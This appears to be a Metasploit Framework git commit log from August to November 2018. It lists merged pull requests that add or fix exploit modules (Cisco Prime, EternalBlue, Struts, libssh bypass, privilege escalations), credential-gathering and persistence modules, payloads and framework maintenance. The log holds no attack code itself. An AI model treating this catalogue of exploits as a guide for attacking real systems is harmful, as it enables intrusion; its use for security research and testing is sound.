2018-11-13 09:00:01 -08:00
Brent Cook 70874c74bd Land #10945, Ensure sessions --up shows only services which are up 2018-11-10 09:14:23 -08:00
Metasploit 2670cf96b9 automatic module_metadata_base.json update 2018-11-10 09:08:25 -08:00
Brendan Coles f0136e5a42 Land #10767, Add Cisco Prime Infrastructure remote root exploit 2018-11-10 09:00:37 -08:00
Jeffrey Martin a76a5ce83b Land #9744, Add synchronization around public module metadata cache methods 2018-11-09 10:44:05 -06:00
Metasploit 04fcbbc70f Bump version of framework to 4.17.25 2018-11-08 10:03:00 -08:00
Metasploit 4e9615c9fc automatic module_metadata_base.json update 2018-11-07 05:58:38 -08:00
Metasploit 3c31927f90 automatic module_metadata_base.json update 2018-11-06 22:40:00 -08:00
Brendan Coles 6be18e6165 Land #10917, Add support for unix/cmd payloads to multi/ssh/sshexec 2018-11-06 22:31:51 -08:00
Brendan Coles 8381372e0b Land #10823, store host system data from post/system libs in database 2018-11-05 18:47:25 -08:00
Metasploit e17eb53e74 automatic module_metadata_base.json update 2018-11-05 15:57:06 -08:00
William Vu 7f67cd31c3 Land #10924, rename hash to generate_process_hash
Similar to #6957.
2018-11-05 15:46:48 -08:00
Metasploit f173a7b383 automatic module_metadata_base.json update 2018-11-05 14:05:14 -08:00
Metasploit 7feed9b665 automatic module_metadata_base.json update 2018-11-05 13:29:39 -08:00
Shelby Pace a2db3fdfd7 Land #10874, rm size restriction from pyld_inject 2018-11-05 13:21:33 -08:00
bwatters-r7 f68939539b Land 10794, Add support for ms17_010_eternalblue_win8 ProcessName option
Merge branch 'land-10794' into upstream-master
2018-11-05 13:11:21 -08:00
Metasploit bb00105de1 automatic module_metadata_base.json update 2018-11-05 12:29:30 -08:00
bwatters-r7 f355a3ce2e Land #10792, Add support for ms17_010_eternalblue ProcessName option
Merge branch 'land-10792' into upstream-master
2018-11-05 12:21:11 -08:00
Metasploit 0587510fd0 automatic module_metadata_base.json update 2018-11-05 09:46:57 -08:00
Wei Chen 69e72e6a1f Land #10847 - Add blueimp's jQuery (Arbitrary) File Upload
CVE-2018-9206
2018-11-05 09:39:35 -08:00
Metasploit 6be1e12b6b automatic module_metadata_base.json update 2018-11-05 09:24:52 -08:00
Brent Cook c2405c2750 Land #10888, Fix Net::SSH::CommandStream session open failure 2018-11-05 09:16:54 -08:00
Metasploit 20f6226e1f automatic module_metadata_base.json update 2018-11-04 22:29:21 -08:00
Green-m f29dc68353 Land #10919, Add doc for ftp capture module.
And add a custom option banner for it.
2018-11-04 22:20:29 -08:00
Metasploit c6b9b81532 automatic module_metadata_base.json update 2018-11-04 19:29:04 -08:00
Green-m fc46f671d8 Landing #10910, update writable? method in modules. 2018-11-04 19:20:51 -08:00
Brent Cook b5635b089f Land #10843, change docker root exec behaviour 2018-11-02 12:52:57 -07:00
Metasploit cf72000ca5 automatic module_metadata_base.json update 2018-11-02 12:48:29 -07:00
bwatters-r7 1c8a355f84 Land #10834, For real this time
Merge branch 'land-10834' into upstream-master
2018-11-02 12:37:13 -07:00
bwatters-r7 3ca98b0fe0 Land #10834, messagebox payload for x64
Merge branch 'land-10834' into upstream-master
2018-11-02 12:19:55 -07:00
Jacob Robles 9b495913dc Land #10873, Add notes to exploit modules 2018-11-02 12:13:37 -07:00
Metasploit f5c6eb63d9 automatic module_metadata_base.json update 2018-11-02 12:01:35 -07:00
Jacob Robles ea1c4596d9 Land #10901, Add modules for iOS images and texts 2018-11-02 11:49:40 -07:00
Metasploit 398395561b Bump version of framework to 4.17.24 2018-11-02 10:11:45 -07:00
Metasploit 3d79d6322f automatic module_metadata_base.json update 2018-11-02 09:34:16 -07:00
Brent Cook 549c835af5 Land #10836, Add Morris worm sendmail debug mode exploit 2018-11-02 09:22:22 -07:00
Brent Cook 1ae0455b2e Land #10700, Add Morris worm fingerd exploit and VAX reverse shell 2018-11-02 09:22:21 -07:00
Jeffrey Martin db57101b25 Land #10900, Turn off thread exception reporting only if it's an available method 2018-11-02 06:39:07 -07:00
Tim W fed234d0d8 Land #10897, add api key to google geolocation recon script 2018-11-01 23:19:54 -07:00
Brent Cook cdcbc4783b Land #10899, Preserve Ruby 2.4.x and earlier thread exception reporting behavior 2018-11-01 15:47:26 -07:00
Jeffrey Martin ff721a96bb Land #10898, pin concurrent-ruby to 1.0.5 2018-11-01 14:57:46 -07:00
Metasploit d16019932c Bump version of framework to 4.17.23 2018-11-01 10:04:13 -07:00
Metasploit 26e6538f73 automatic module_metadata_base.json update 2018-10-31 14:59:24 -07:00
bwatters-r7 008c73ee29 Land #10858, bypassuac_eventvwr optimizations - reduce created processes and artifacts
Merge branch 'land-10858' into upstream-master
2018-10-31 14:47:00 -07:00
Brent Cook 2ef7af93cc Land #10563, Add 'Notes' metadata section
This also backports portions of #10348 for console search
2018-10-30 11:00:37 -05:00
Metasploit 950b8f4e46 automatic module_metadata_base.json update 2018-10-30 08:07:58 -07:00
bwatters-r7 5463191e51 Land #10553, add x86/xor_dynamic and x64/xor_dynamic encoders
Merge branch 'land-10553' into upstream-master
2018-10-30 07:59:08 -07:00
Metasploit da91cb7e2b automatic module_metadata_base.json update 2018-10-29 07:59:52 -07:00
Brendan Coles d6c4f5e08e Land #10853, Add universal targeting to Mercury/32 IMAP LOGIN exploit 2018-10-29 07:59:52 -07:00
Metasploit e843da93a5 Bump version of framework to 4.17.22 2018-10-25 21:01:59 -07:00
Metasploit 7397243c32 automatic module_metadata_base.json update 2018-10-25 16:27:50 -07:00
Brent Cook 67572e2c37 Merge pull request #10870 from jmartin-r7/backport_cache_updates
Backport cache updates
2018-10-25 17:57:09 -05:00
bwatters-r7 4a9f6f5d06 Land #10561, Add Windows local privilege escalation - CVE-2018-0824
Merge branch 'land-10561' into upstream-master
2018-10-25 12:33:06 -07:00
William Vu 609e706e63 Land #10866, libssh_auth_bypass check updates 2018-10-25 12:33:06 -07:00
Wei Chen a43edc4fbf Land #10864, Add Cisco WebEx RCE Modules 2018-10-25 12:33:06 -07:00
Brent Cook 4d2002f98a Land #10857, ensure os_flavor can be supplied for non Windows OS 2018-10-25 14:30:37 -05:00
Metasploit 993ceb0d1a Bump version of framework to 4.17.21 2018-10-25 10:06:27 -07:00
Wei Chen de88d70c22 Land #10744, Add AUDIO_EFFECTS to distinguish from others 2018-10-24 17:18:15 -05:00
William Vu e423d5c358 Land #10707, module traits to augment module rank 2018-10-24 17:18:09 -05:00
William Vu b43d23035a Land #10696, autofilter_{ports,services} in cache 2018-10-24 17:09:28 -05:00
William Vu f0096227e7 Land #10505, post-auth and default creds info 2018-10-24 17:09:28 -05:00
Wei Chen c01212e7c4 Land #10341, Add check method Boolean to module cache and info and search commands 2018-10-24 17:09:28 -05:00
Jeffrey Martin 04fff84386 Land #10110, Use JSON instead of PSTORE for module metadata 2018-10-24 17:08:36 -05:00
Jeffrey Martin 39ca3f7ec9 Land #10074, Fixed bug in module cache 2018-10-24 16:57:10 -05:00
Matthew Kienow 3ed7adf86a Land #9646, fix stale module cache issue 2018-10-24 16:55:34 -05:00
Brent Cook aebd5b4d3e fix msfvenom referencing a nil typed_module_set 2018-10-24 16:54:36 -05:00
Brent Cook 0465a7bc71 Land #9220, Module cache improvements 2018-10-24 16:53:11 -05:00
Brent Cook faf1a44cc4 Land #10848, improve play_youtube post module 2018-10-23 14:48:44 -07:00
Brent Cook c7ad4a47eb Land #10851, add ndkstager to data/exploits 2018-10-23 14:48:43 -07:00
Brent Cook a7f9d4f23a Land #10856, add SSL support to php meterpreter 2018-10-23 16:45:54 -05:00
Brent Cook 2c347d51b1 Land #10855, Enable non-session command output for SSH modules 2018-10-23 16:44:03 -05:00
asoto-r7 2a0deefddd Land #10450, Implementation of CTRL+Z in reverse shell session
Additionally, a check was added to disable this new functionality on
Windows command shell payloads.
2018-10-22 14:19:45 -07:00
William Vu e6b2ddbc02 Land #10845, glassfish_traversal typo fix 2018-10-22 14:19:45 -07:00
William Vu 5f25c977ec Land #10837, QNX qconn module rename (redux) 2018-10-22 14:19:45 -07:00
William Vu 43b0e56b09 Land #10817, QNX qconn module rename 2018-10-22 14:19:44 -07:00
Brent Cook 833807973c Land #10835, libssh fingerprint improvements 2018-10-19 19:13:36 -07:00
William Vu 2b997432f2 Land #10819, os_name population for ssh_login* 2018-10-19 13:55:10 -07:00
William Vu a0af98b4e2 Land #10832, TARGETURI for tomcat_utf8_traversal 2018-10-19 13:49:08 -07:00
Brent Cook e87177ed82 Land #10826, Update ruby version 2018-10-19 14:38:10 -05:00
Metasploit d4ababdc9b Bump version of framework to 4.17.20 2018-10-19 12:10:53 -07:00
Brent Cook f88790c2c0 Land #10820, Add libssh authentication bypass scanner/"exploit" 2018-10-19 12:03:28 -07:00
William Vu b9dc8b81aa Land #10833, Net::SSH::CommandStream fixes 2018-10-18 21:02:13 -07:00
Wei Chen 3cbc33204c Land #10664, add Windows SetImeInfoEx Win32k NULL Pointer Dereference 2018-10-18 21:02:13 -07:00
Metasploit 6fe8936e06 Bump version of framework to 4.17.19 2018-10-18 10:06:10 -07:00
Brent Cook ce30fcabaf Land #10824, add PTY option to Net::SSH::CommandStream 2018-10-17 13:52:11 -07:00
Brendan Coles a4d2bf30c1 Land #10816, Add a bg alias for background command 2018-10-16 09:59:08 -07:00
Wei Chen 7d04ebcf5f Land #9642, support version 5 for GetGo Download Manager bof exploit 2018-10-15 13:49:36 -07:00
Brendan Coles 52a919c361 Land #10800, Add docs for auxiliary/scanner/snmp/ Cisco modules 2018-10-15 00:06:43 -07:00
Brendan Coles c57a9dde08 Land #10797, Add docs for auxiliary/scanner/sip/options_tcp module 2018-10-15 00:02:53 -07:00
h00die fcc59c3600 Land #10668 rsh stack clash solaris priv esc 2018-10-14 07:36:58 -07:00
William Vu 34a1c48d7c Land #10671, struts2_namespace_ognl updates
There are still some outstanding concerns, but I want to unblock this.
2018-10-12 09:16:44 -07:00
Brent Cook 5e27bdec14 Land #10790, don't log peer if it represents > 1 target 2018-10-12 00:23:18 -07:00
Metasploit 82512a1558 Bump version of framework to 4.17.18 2018-10-11 10:06:59 -07:00
Brent Cook ccde27756e Land #10789, typo fix 2018-10-10 15:20:13 -07:00
Jacob Robles 2f202583be Land #10335, Add vlc_mkv exploit module 2018-10-10 11:49:11 -07:00
Brent Cook db19d8e6c0 Land #10787, Remove unused 'unknown' author mapping in author.rb 2018-10-10 11:06:12 -07:00
Brent Cook 424fa77c17 Land #10783, Make WritableDir an advanced option 2018-10-10 07:54:02 -07:00
Brent Cook 285a183f27 Land #10781, Fix error in rpc_shell_read RPC method. 2018-10-10 07:05:18 -07:00
Jeffrey Martin b13bc4b460 Land #10554, Rescue REX runtime errors in x86 encoders 2018-10-09 21:38:32 -07:00
Brent Cook 4097c620a1 Land #10770, show full path for webcam_stream file 2018-10-09 03:35:09 -07:00
Shelby Pace 064683495e Land #10776, Fix references in #10672 2018-10-08 14:11:52 -07:00
William Vu 7bc018bfcc Land #10773, session.platform TypeError fix
This also adds an "unknown" platform class.
2018-10-08 12:39:56 -07:00
William Vu ff95dbb806 Land #10775, ZDI reference for delta_ia_commgr_bof 2018-10-08 12:08:15 -07:00
Shelby Pace ec5530ece1 Land #10672, Add COMMGR Buffer Overflow module 2018-10-08 08:07:41 -07:00
Brent Cook 2c34813e6b Land #9745, Update QNX iwatchd to use newer APIs 2018-10-06 02:09:05 -07:00
Brent Cook 2be1b87d0d Land #9745, Add ifwatchd QNX privilege escalation exploit module 2018-10-06 02:06:28 -07:00
Brent Cook 1ff5d8f6bd Land #10616, update Unitrends UEB module to support vulnerabilities in version 10 2018-10-05 14:23:01 -07:00
Brent Cook 342f3b9637 Land #10755, 50, it's a magic number (sorry 2) 2018-10-05 13:10:05 -07:00
William Vu f6a75c8328 Land #10754, check_snake_case_filename redux 2018-10-05 12:10:06 -07:00
Brent Cook 0ebc564933 Land #10753, make filename checks more strict 2018-10-05 10:54:11 -07:00
Brent Cook 3f7a5d8edf Land #10743, reduce docker image size by merging layers 2018-10-05 08:40:38 -07:00
Brent Cook 5f43c7f3e9 Land #10745, Update lastore_daemon_dbus_priv_esc tested versions 2018-10-05 08:37:12 -07:00
William Vu 12cb3b4d3e Land #10750, formatting and AKA reference fixes 2018-10-05 01:34:14 -07:00
William Vu 736a2dfdb7 Land #10747, apktool output on failed injection 2018-10-05 01:24:46 -07:00
William Vu d325b8eb2f Land #10749, Ruby shovel operator fix for Beetel 2018-10-05 00:23:36 -07:00
bwatters-r7 0f4ef19555 Land #10418, Add DCOM/RPC NTLM Reflection (MS16-075) Via Reflective DLL
Merge branch 'land-10418' into upstream-master
2018-10-04 14:57:20 -07:00
Metasploit ad22d961a4 Bump version of framework to 4.17.17 2018-10-04 10:06:57 -07:00
Jacob Robles 9762f921b8 Land #10738, Add Zahir Enterprise 6 build 10b BOF 2018-10-04 09:03:40 -07:00
Wei Chen 097a00bcab Land #10712, Make exploit/linux/http/axis_srv_parhand_rce more stable 2018-10-04 08:12:20 -07:00
Christian Mehlmauer 757d69014a Land #10741, use multi staged build for docker 2018-10-04 05:19:21 -07:00
Jacob Robles ff06f81f89 Land #10704, Navigate CMS Unauthenticated RCE 2018-10-04 04:48:35 -07:00
Brent Cook 7142c29de1 Land #10686, ARGS, TIMEOUT, and output to upload_exec module
Merge remote-tracking branch 'upstream/pr/10686' into upstream-master
2018-10-04 02:31:30 -07:00
Brent Cook af9cf4380b Land #10699, Avoid double-closing meterpreter channels 2018-10-02 11:46:31 -07:00
Brendan Coles 874ed3ca72 Land #10733, Fix typo in module documentation 2018-10-02 11:46:31 -07:00
Brent Cook 0049efc603 Land #10725, move post/android/gather/subinfo 2018-10-02 11:46:31 -07:00
Brent Cook 3ad5bd429a Land #10732, add api key for android wlan_geolocate 2018-10-02 11:46:30 -07:00
Tim W d340eeecf9 Land #10427, add OSX VNC password gather module 2018-10-02 11:46:30 -07:00
William Vu b42af6cd96 Land #10728, metadata updates for @rastating 2018-10-02 11:46:30 -07:00
bwatters-r7 ec2b690d82 Land #10726,fix deps
Merge branch 'land-10726' into upstream-master
2018-10-02 11:46:30 -07:00
Tim W c2d9677504 Land #10723, fix another typo in windows reverse_tcp docs 2018-10-02 11:46:30 -07:00
Tim W 5ea9507604 Land #10722, fix typo in windows reverse_tcp docs 2018-10-02 11:46:29 -07:00
Jacob Robles 918e04bace Land #10718, fix typo in route command examples 2018-10-02 11:46:29 -07:00
Brent Cook 17521d600f Land #10713, add initial ed25519 SSH key support 2018-10-02 11:46:29 -07:00
bwatters-r7 c49402b506 Land #10703, Update payloads to include the new Kiwi release 2018-10-02 13:42:12 -05:00
William Vu c87b6bba0b Land #10711, help on empty args for reload_lib 2018-09-27 21:27:11 -07:00
William Vu b94958234a Land #10705, reload_lib -a/--all options 2018-09-27 20:17:00 -07:00
Metasploit f56194516e Bump version of framework to 4.17.16 2018-09-27 10:03:14 -07:00
William Vu 6af364e6d8 Land #10706, metasploit-payloads 1.3.51 2018-09-26 20:24:22 -05:00
Wei Chen 4aac4cf3a9 Land #10692, Add rspec test for cmd_set_tabs 2018-09-24 23:26:05 -07:00
Brent Cook 92cd40c8db Land #10594, Fix hashdump and user enumeration on new macOS versions 2018-09-24 20:20:38 -07:00
Brent Cook bff3047e93 Land #10428, Update Windows MySQL UDF files, add docs 2018-09-24 19:13:53 -07:00
Adam Cammack d904fcb866 Land #10695, Add docs for Apple iOS WebKit DoS 2018-09-24 10:48:42 -07:00
h00die c3f335ebb7 Land #10663 extremeparr solaris LPE 2018-09-24 10:48:42 -07:00
Green-m 0c88820fce Land #10687, add pry command to meterpreter. 2018-09-24 10:48:42 -07:00
Brendan Coles 62dacb3d1e Land #10534, Add FrontPage Credential Dump Module
This module downloads and parses the '_vti_pvt/service.pwd',
  '_vti_pvt/administrators.pwd', and '_vti_pvt/authors.pwd' files
  used by FrontPage to find credentials.
2018-09-24 10:48:42 -07:00
bwatters-r7 2b194e2b47 Land #10643, CVE-2018-8440 ALPC Scheduler
Merge branch 'land-10643' into upstream-master
2018-09-24 10:48:41 -07:00
William Vu 456f7613cf Land #10684, stray quote fix for writable? raise 2018-09-24 10:48:41 -07:00
William Vu c3f5d5c168 Land #10685, NameError fix for cmd_shell 2018-09-24 10:48:41 -07:00
William Vu 6c2d09d4e4 Land #10683, to_s fixes for Heartbleed 2018-09-24 10:48:41 -07:00
Brendan Coles 53c1adcb41 Land #10628, Add Solaris srsexec Arbitrary File Reader module 2018-09-24 10:48:41 -07:00
William Vu 7ef006fcf9 Land #10680, LEAK_COUNT option for Heartbleed 2018-09-24 10:48:40 -07:00
William Vu 858b67f943 Land #10681, payload cached sizes fix 2018-09-24 10:48:40 -07:00
bwatters-r7 6157ad76fe Land #10575, add meterpreter chmod command
Merge branch 'land-10575' into upstream-master
2018-09-24 12:44:42 -05:00
William Vu 058eabbd24 Land #10625, repeat command to repeat commands 2018-09-20 13:27:24 -07:00
Metasploit 8fbbff30db Bump version of framework to 4.17.15 2018-09-20 10:03:08 -07:00
William Vu d16189a295 Land #10677, Pimcore and Dolibarr module renames 2018-09-19 20:20:37 -07:00
William Vu 785cf9e5aa Land #10670, Pimcore SQLi module 2018-09-19 18:52:40 -07:00
William Vu 4ca0566e10 Land #10673, dolibarr_list_creds{,_sqli} rename 2018-09-19 16:57:51 -07:00
Adam Cammack 65a19a92eb Land #10652, iOS Safari blur denial of service 2018-09-19 13:16:04 -07:00
Adam Cammack 228c08bb4d Land #10659, Minor code cleanups 2018-09-19 12:58:09 -07:00
William Vu 2f515318e7 Land #10666, compatible_sessions NoMethodError fix 2018-09-19 01:48:19 -07:00
Brendan Coles 9b466d93bf Land #10665, print error msg when killing an invalid job ID - Fix #10655 2018-09-18 02:35:17 -07:00
Brent Cook a2213a3c1c Land #10627, Add SMB2 support to smb_enumshares 2018-09-17 20:36:27 -07:00
Brent Cook 1ee8734717 Land #10570, AKA Metadata Refactor 2018-09-17 20:31:07 -07:00
Brent Cook 479f74dfc9 Land #10662, Fix travis-ci builds 2018-09-17 20:00:07 -07:00
h00die 001b576fa4 Land #10653 additional gcc paths for solaris libs 2018-09-17 15:24:56 -07:00
h00die fd59cbb61f Land #10620 Solaris 10 LPE for libnspr 2018-09-17 15:12:51 -07:00
William Vu 2ee6a49a27 Land #10649, https://seclists.org references 2018-09-17 15:09:39 -07:00
William Vu 1c21ec588a Land #10645, writable? method for Msf::Post::File 2018-09-15 15:29:16 -07:00
Brendan Coles 057228c60b Land #10638, Warn when listing inactive sessions without DB connection
Replaces confusing message and stack trace with a warning message,
when the `sessions -d` command is used to list inactive sessions
when no database is connected.
2018-09-14 22:36:35 -07:00
William Vu 3ff9b3b0c9 Land #10389, PTY support for Meterpreter "shell" 2018-09-14 09:18:34 -07:00
Metasploit 41068c6ccb Bump version of framework to 4.17.14 2018-09-13 14:20:42 -07:00
William Vu dddc634f78 Land #10639, self.prompt initialization fix 2018-09-13 13:59:29 -07:00
William Vu f3e94c6d20 Land #10637, exploit.rb autofilter doc fixes 2018-09-13 12:26:17 -07:00
h00die 2b44f16310 Land #10633 fix for solaris pidof for more versions 2018-09-13 10:12:22 -07:00
Metasploit d3bf71fc35 Bump version of framework to 4.17.13 2018-09-13 10:03:01 -07:00
h00die dbb48fed9f Land #10634 fix a bug in is_root? on sol/lin 2018-09-13 08:24:13 -07:00
bwatters-r7 fa81a0802a Land #10560, ms17_010_eternalblue: use SMBDomain value when provided
instead of ignoring it

Merge branch 'land-10560' into upstream-master
2018-09-13 08:11:09 -07:00
William Vu 0f7b8a2453 Land #10477, console prompt fixes and refactor 2018-09-12 16:06:16 -07:00
William Vu 90c31b96a7 Land #10631, warning message fix for #10619 2018-09-12 15:38:01 -07:00
William Vu 2cde5641ad Land #10619, mimikatz/kiwi warning per OS version 2018-09-12 15:13:18 -07:00
Shelby Pace eceb7d1702 Land #10589, multidrop support for word xml docs 2018-09-12 09:03:42 -07:00
Brendan Coles dc0ee43117 Land #10621, Update Msf::Post::Solaris::System has_gcc? method
Updated the Msf::Post::Solaris::System has_gcc? method to also check the
default path for gcc on Solaris: /usr/sfw/bin/gcc
2018-09-11 02:46:43 -07:00
William Vu 83c01e3de7 Land #10617, sessions -x fix for when LURI is used 2018-09-11 01:02:31 -07:00
OJ f5b83943ba Land #10618 - Fix Msf::Post::Solaris::Kernel class name 2018-09-11 00:24:24 -07:00
Brent Cook bd8dea2c21 Land #9897, Fix #8404 ListenerComm Support For Exploit::Remote::TcpServer 2018-09-10 14:27:34 -07:00
Brent Cook 42784dceb1 Land #10593, Refactor SSH mixins and update modules 2018-09-10 13:43:30 -07:00
William Vu 29b16e1ee7 Land #10611, mRemote creds gather module fixes
Also update #10612 to align with these changes.
2018-09-10 13:27:13 -07:00
William Vu 67e1742bd0 Land #10612, store_loot text/xml ctype fixes 2018-09-10 13:09:13 -07:00
Jacob Robles 5861087061 Land #10598, Store Credentials Found with PhpMyAdmin Password Extractor 2018-09-10 09:51:51 -07:00
Wei Chen 3e801c22fb Land #10546, Add Apache Struts exploit: CVE-2018-11776 2018-09-07 12:56:02 -07:00
William Vu cc7f500b83 Land #10604, CVE for ghostscript_failed_restore 2018-09-07 12:36:01 -07:00
Metasploit 60578a21c3 Bump version of framework to 4.17.12 2018-09-07 10:16:30 -07:00
Adam Cammack 9e3f4744f7 Land #10602, Fix windows/shell/reverse_ord_tcp doc 2018-09-07 10:08:28 -07:00
Metasploit 3b2d5b0c15 Bump version of framework to 4.17.11 2018-09-06 10:02:54 -07:00
Brent Cook 1c05bb6ef3 Land #10584, fix session upgrade HANDLE_TIMEOUT and upgrading osx shells 2018-09-06 03:54:18 -07:00
Wei Chen e9a94595c2 Land #10592, support ERB for foxit_reader_uaf.rb 2018-09-05 19:50:30 -07:00
Wei Chen eb39f6da51 Land #10564, Add Ghostscript exploit from taviso 2018-09-05 19:09:11 -07:00
Wei Chen 85475507b9 Land #10591, Fix target DisableNops not being passed to payload 2018-09-05 18:58:39 -07:00
Brent Cook a2eb43ab83 Land #10474, add documention for windows/shell/reverse_ord_tcp 2018-09-05 07:08:02 -07:00
Tim W 3ab5b58a6b Land #10585, fix #10577, fix "Exploit failed: TypeError no implicit conversion of Array into Integer" 2018-09-04 11:56:04 -07:00
Tim W 12ef780bc2 Land #10437, sync some linux local libraries to solaris 2018-09-03 07:49:38 -07:00
bwatters-r7 b88fbccd9f Land #10571, Bump metasploit payloads to 1.3.47
Merge branch 'land-10571' into upstream-master
2018-09-02 11:30:45 -05:00
Brent Cook 035e790fd5 Land #10567, Bump kiwi version 2018-08-31 13:27:10 -07:00
Wei Chen 8897a5d7c6 Land #10568, Update weblogic module docs 2018-08-31 12:07:12 -07:00
Wei Chen d1d308e542 Land #10565, Add Dolibarr ERP/CRM Auxiliary Module 2018-08-31 11:49:23 -07:00
William Vu 4360b9e82e Land #10566, struts2_rest_xstream normalize_uri 2018-08-30 14:00:53 -07:00
Shelby Pace 2ecff39be4 Land #10484, Add PhpMyAdmin password extractor 2018-08-30 10:18:38 -07:00
Metasploit cb1b0b92ef Bump version of framework to 4.17.10 2018-08-30 10:03:04 -07:00
Shelby Pace bc87643ea3 Land #10482, Add Network Manager VPNC Privesc 2018-08-30 08:49:38 -07:00
Jacob Robles d7728afe42 Land #10540, weblogic_deserialize, add check method and linux target 2018-08-30 04:13:58 -07:00
Jacob Robles 7a99fc7066 Land #10545, foxit fix generated strings, update doc 2018-08-30 03:58:19 -07:00
Adam Cammack 2269f7eb43 Land #10594, Remove trailing space from CVE number 2018-08-29 14:39:19 -05:00
bwatters-r7 76ee618f26 Land # 10548, fix Gemfile.lock
Merge branch 'land-10548' into upstream-master
2018-08-29 14:33:32 -05:00
William Vu ec9cedf4fc Land #10536, https:// reference check for msftidy 2018-08-29 09:18:46 -07:00
William Vu 08e069bbe1 Land #10542, CVE ref for office_ms17_11882 exploit 2018-08-28 22:44:41 -07:00
bwatters-r7 4a4c1cd559 Land #10544, Update payloads to 1.3.45
Merge branch 'land-10544' into upstream-master
2018-08-28 16:55:02 -07:00
William Vu add03ca7f8 Land #10543, struts2_rest_xstream targeting fixes 2018-08-28 16:55:02 -07:00
Adam Cammack 11ae0d2a78 Land #10541, Correct claymore_dos.py's CVE ref 2018-08-28 16:55:01 -07:00
bwatters-r7 631e8bf110 Land #8983, Add peinjector post module
Merge branch 'land-8983' into upstream-master
2018-08-28 16:55:01 -07:00
William Vu 0564b0be09 Land #10507, GPP creds for db_import 2018-08-28 16:55:01 -07:00
William Vu 98ee549705 Land #10538, PSH target for struts2_rest_xstream 2018-08-28 16:55:01 -07:00
Matthew Kienow a76176a3fe Land #10537, add windows meterpreter audio output 2018-08-28 18:52:04 -05:00
Wei Chen 4d785c4fea Land #10519, Add msfvenom -l archs like -l platforms 2018-08-28 18:48:27 -05:00
Brent Cook 6f42bcafcf Land #10531, fix NOP generator for sparc 2018-08-27 09:41:14 -07:00
Brent Cook f22e6ec2bf Land #10527, Fix msftdiy EDB link check, enable HTTPS 2018-08-27 08:53:05 -07:00
Jacob Robles 376a343472 Land #10487, add php5 session file target 2018-08-27 08:49:42 -07:00
Brent Cook 0294d7eed1 Land #10516, Add brace expansion encoder and update ${IFS} encoder 2018-08-27 08:49:42 -07:00
Brent Cook 4e967d45ab Land #10520, Only allow setting persistence on payload jobs 2018-08-27 08:49:42 -07:00
William Vu f9c7de978e Land #10379, tab completion for multiple commands 2018-08-27 08:49:41 -07:00
Brent Cook cca98bce25 Land #8914, refactor auxiliary/admin/http credential storage 2018-08-24 11:20:26 -07:00
Brent Cook 3c0f3f68f2 Land #10523, Update Foxit Reader PoC Link 2018-08-24 09:38:06 -07:00
William Vu 415379e7ee Land #9364, HP PJL/SNMP CVE-2017-2741 exploit
Finally!
2018-08-23 20:50:23 -07:00
h00die 179b874763 Land #10467 documentation for postgresql hashdump 2018-08-23 18:37:01 -07:00
h00die e444aa0489 Land #10466 docs for postgres_version 2018-08-23 18:12:41 -07:00
h00die 93f68e817a Land #10517 updated docs for CloudMe Sync 2018-08-23 17:57:30 -07:00
Wei Chen 7b7c5a73c4 Land #10504, add Foxit Reader UAF Module and Docs 2018-08-23 16:57:43 -07:00
Metasploit 53de99a8b4 Bump version of framework to 4.17.9 2018-08-23 10:07:01 -07:00
William Vu 91bab0d842 Land #10510, full disclosure for CVE-2018-15473 2018-08-22 12:52:48 -07:00
William Vu 9696adb09c Land #10500, stack trace fix for jobs -K 2018-08-21 09:05:07 -07:00
William Vu 0739892cc8 Land #10498, module doc for ssh_enumusers 2018-08-21 09:05:07 -07:00
asoto-r7 36642d3071 Land #10449, Implementation of download/upload file in reverse shell 2018-08-21 09:05:07 -07:00
asoto-r7 8ce1329e74 Land #10448, Implementation of CTRL+C to send SIGINT signal 2018-08-21 09:05:06 -07:00
Brent Cook 8c29a3b5da Land #10471, Import target DefaultOptions into the datastore 2018-08-21 09:05:06 -07:00
Brent Cook f3b9901c9f Land #10497, Add Lumpy Space password, whatever. 2018-08-21 09:05:06 -07:00
Brent Cook 5970f4882d Land #10479, Add CVE-2018-15473 to ssh_enumusers 2018-08-21 09:05:06 -07:00
Brent Cook dd32b8bd76 Land #10491, fix error generating PPC NOPS 2018-08-21 09:05:06 -07:00
Brent Cook fb042469df Land #10493, update help for show and search commands 2018-08-21 11:02:41 -05:00
bwatters-r7 ec71347283 Land #10476, add automation test for smb_ms17_010 scanner module
Merge branch 'land-10476' into upstream-master
2018-08-20 09:53:58 -07:00
Tim W f295b22290 Land #10313, add linux autostart persistence module 2018-08-20 03:19:57 -07:00
Tim W e5ef254155 Land #10320, add module for persistence in /etc/rc.local 2018-08-19 00:33:19 -07:00
bwatters-r7 403841f44d Land #10475, Bump payloads to 1.3.43
Merge branch 'land-10475' into upstream-master
2018-08-17 15:04:09 -05:00
Metasploit 83384269c9 Bump version of framework to 4.17.8 2018-08-16 14:19:47 -07:00
Jeffrey Martin ce1fe7fe77 Land #10203, Add command for persistent job handler when msf restart 2018-08-16 13:43:26 -07:00
William Vu c91eff48fb Land #10472, marked_redos module doc fixes 2018-08-16 13:43:26 -07:00
William Vu e1097f7e38 Land #10120, npm "marked" ReDoS module 2018-08-16 13:43:26 -07:00
William Vu 5094040242 Land #10469, bug fixes for shell's prompt_yesno 2018-08-16 13:43:26 -07:00
William Vu bf7c530f7e Land #10456, known_hosts fix for SSH modules 2018-08-16 13:43:26 -07:00
William Vu e11266f0a0 Land #10464, prompt to use plain module name 2018-08-16 13:43:25 -07:00
Metasploit 902d2bca96 Bump version of framework to 4.17.7 2018-08-16 10:02:42 -07:00
Adam Cammack 7cfe93133b Land #10394, Cleanup aws_ec2_instance_metadata 2018-08-15 12:52:58 -07:00
Adam Cammack 403b6b95b6 Land #10446, Add missing payload tests
Also adds consideration for IPv6 values needed for some payloads.
2018-08-15 12:49:15 -07:00
Adam Cammack 09c0947aa7 Land #10459, Fix PMA scanner vs. non-PMA hosts 2018-08-15 12:46:56 -07:00
Erin Bleiweiss aacbc43c1c Land #10451, Add 'payload' to module search command help documentation 2018-08-15 13:45:50 -05:00
h00die 76e08b9c4a Land #10457 docs for elasticsearch indices_enum 2018-08-15 11:40:29 -07:00
h00die 91c61bb692 Land #10454 updates to cgit exploit docs 2018-08-15 11:40:29 -07:00
William Vu e2b91bdfc1 Land #10433, pry and irb in developer dispatcher 2018-08-15 11:40:29 -07:00
bwatters-r7 abaf059cdb Land #10442, Bump payloads to 1.3.42
Merge branch 'land-10442' into upstream-master
2018-08-15 11:32:50 -05:00
Jacob Robles 9617c79f44 Land #10420, cgit < 1.2.1 Directory Traversal 2018-08-13 14:28:21 -07:00
Shelby Pace 1a86d57bce Land #10404, Add Path Traversal Oracle GlassFish 2018-08-13 09:18:05 -07:00
